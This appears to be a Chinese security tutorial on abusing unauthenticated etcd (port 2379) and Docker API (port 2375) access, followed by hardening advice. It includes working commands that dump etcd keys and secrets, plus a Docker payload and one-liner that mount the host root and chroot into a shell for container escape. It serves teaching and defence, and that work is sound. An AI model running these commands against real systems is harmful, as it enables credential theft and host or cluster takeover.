云安全攻防:etcd未授权访问及docker api未授权利用
字数 1394 2025-08-29 22:41:38
云安全攻防:etcd未授权访问及Docker API未授权利用教学文档
1. 前言
在云环境中,容器编排工具是核心组件之一。Kubernetes作为主流编排工具,其安全性至关重要。本教学文档将详细讲解两个关键漏洞:etcd未授权访问和Docker API未授权访问的利用方法,帮助安全人员理解攻击原理并进行有效防御。
2. etcd未授权访问
2.1 etcd简介
etcd是一个分布式一致性键值存储系统,在Kubernetes集群中扮演以下角色:
- 存储Kubernetes集群的所有状态信息
- 用于服务注册发现与共享配置
- 持久化存储集群关键数据
2.2 etcd默认端口
etcd使用以下关键端口:
- 客户端端口(默认2379):用于etcd集群与Kubernetes控制平面之间的通信
- 集群通信端口(默认2380):用于etcd集群节点间的内部通信,实现Raft协议的数据同步
2.3 未授权访问风险
当管理员配置不当时,可能导致etcd未授权访问,攻击者可:
- 从etcd中获取secrets和token等关键信息
- 通过kubectl创建恶意pod接管集群
- 获取集群完整控制权
2.4 漏洞检测方法
方法一:页面验证
访问以下URL,若返回版本信息则可能存在未授权访问:
http://IP:2379/version
方法二:etcdctl工具验证
- 下载etcdctl客户端:
https://github.com/etcd-io/etcd - 执行验证命令:
etcdctl --endpoints=IP:2379
2.5 利用流程
-
信息收集:
- 获取所有key:
etcdctl --endpoints=IP:2379 get / --prefix --keys-only - 获取具体key值:
etcdctl --endpoints=IP:2379 get /registry/secrets/default/[secret-name]
- 获取所有key:
-
获取敏感凭证:
- 从etcd中提取service account tokens
- 获取kubeconfig文件内容
-
集群接管:
- 使用获取的凭证通过kubectl连接集群
- 创建特权pod获取节点权限
3. Docker API未授权访问
3.1 Docker API简介
Docker守护进程提供REST API用于管理容器,默认监听在:
- Unix socket:
unix:///var/run/docker.sock - TCP端口:
2375(未加密)或2376(TLS加密)
3.2 未授权访问风险
当Docker API配置为允许远程未授权访问时,攻击者可:
- 列出所有容器和镜像
- 创建/删除容器
- 执行容器内命令
- 挂载宿主机目录实现逃逸
3.3 漏洞检测方法
方法一:API请求验证
curl http://IP:2375/version
若返回Docker版本信息则可能存在未授权访问
方法二:Docker客户端验证
docker -H tcp://IP:2375 ps
3.4 利用流程
-
信息收集:
- 列出所有容器:
curl http://IP:2375/containers/json - 检查容器配置:
curl http://IP:2375/containers/[container-id]/json
- 列出所有容器:
-
容器操作:
- 创建新容器:
POST /containers/create - 启动容器:
POST /containers/[container-id]/start
- 创建新容器:
-
权限提升:
- 挂载宿主机目录:
{ "HostConfig": { "Binds": ["/:/host"] }, "Cmd": ["chroot", "/host", "sh"] } - 执行宿主机命令:
docker -H tcp://IP:2375 run -it -v /:/host alpine chroot /host bash
- 挂载宿主机目录:
4. 防御措施
4.1 etcd安全配置
- 启用TLS认证:
etcd --cert-file=server.crt --key-file=server.key --client-cert-auth=true - 配置访问控制:
- 使用防火墙限制2379/2380端口的访问
- 仅允许Kubernetes控制平面节点访问
- 启用身份验证:
etcd --auth-token=simple
4.2 Docker API安全配置
- 禁用TCP监听或启用TLS:
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem - 配置防火墙规则限制2375/2376端口
- 使用Docker授权插件:
dockerd --authorization-plugin=plugin1 - 使用网络策略限制访问来源
5. 总结
etcd和Docker API的未授权访问是云环境中常见的高危漏洞,可导致整个集群被接管。安全团队应:
- 定期检查相关服务的访问控制配置
- 启用必要的认证和加密机制
- 监控异常API访问行为
- 遵循最小权限原则配置服务账户
通过理解这些漏洞的利用方式和防御措施,可以有效提升云环境的安全性。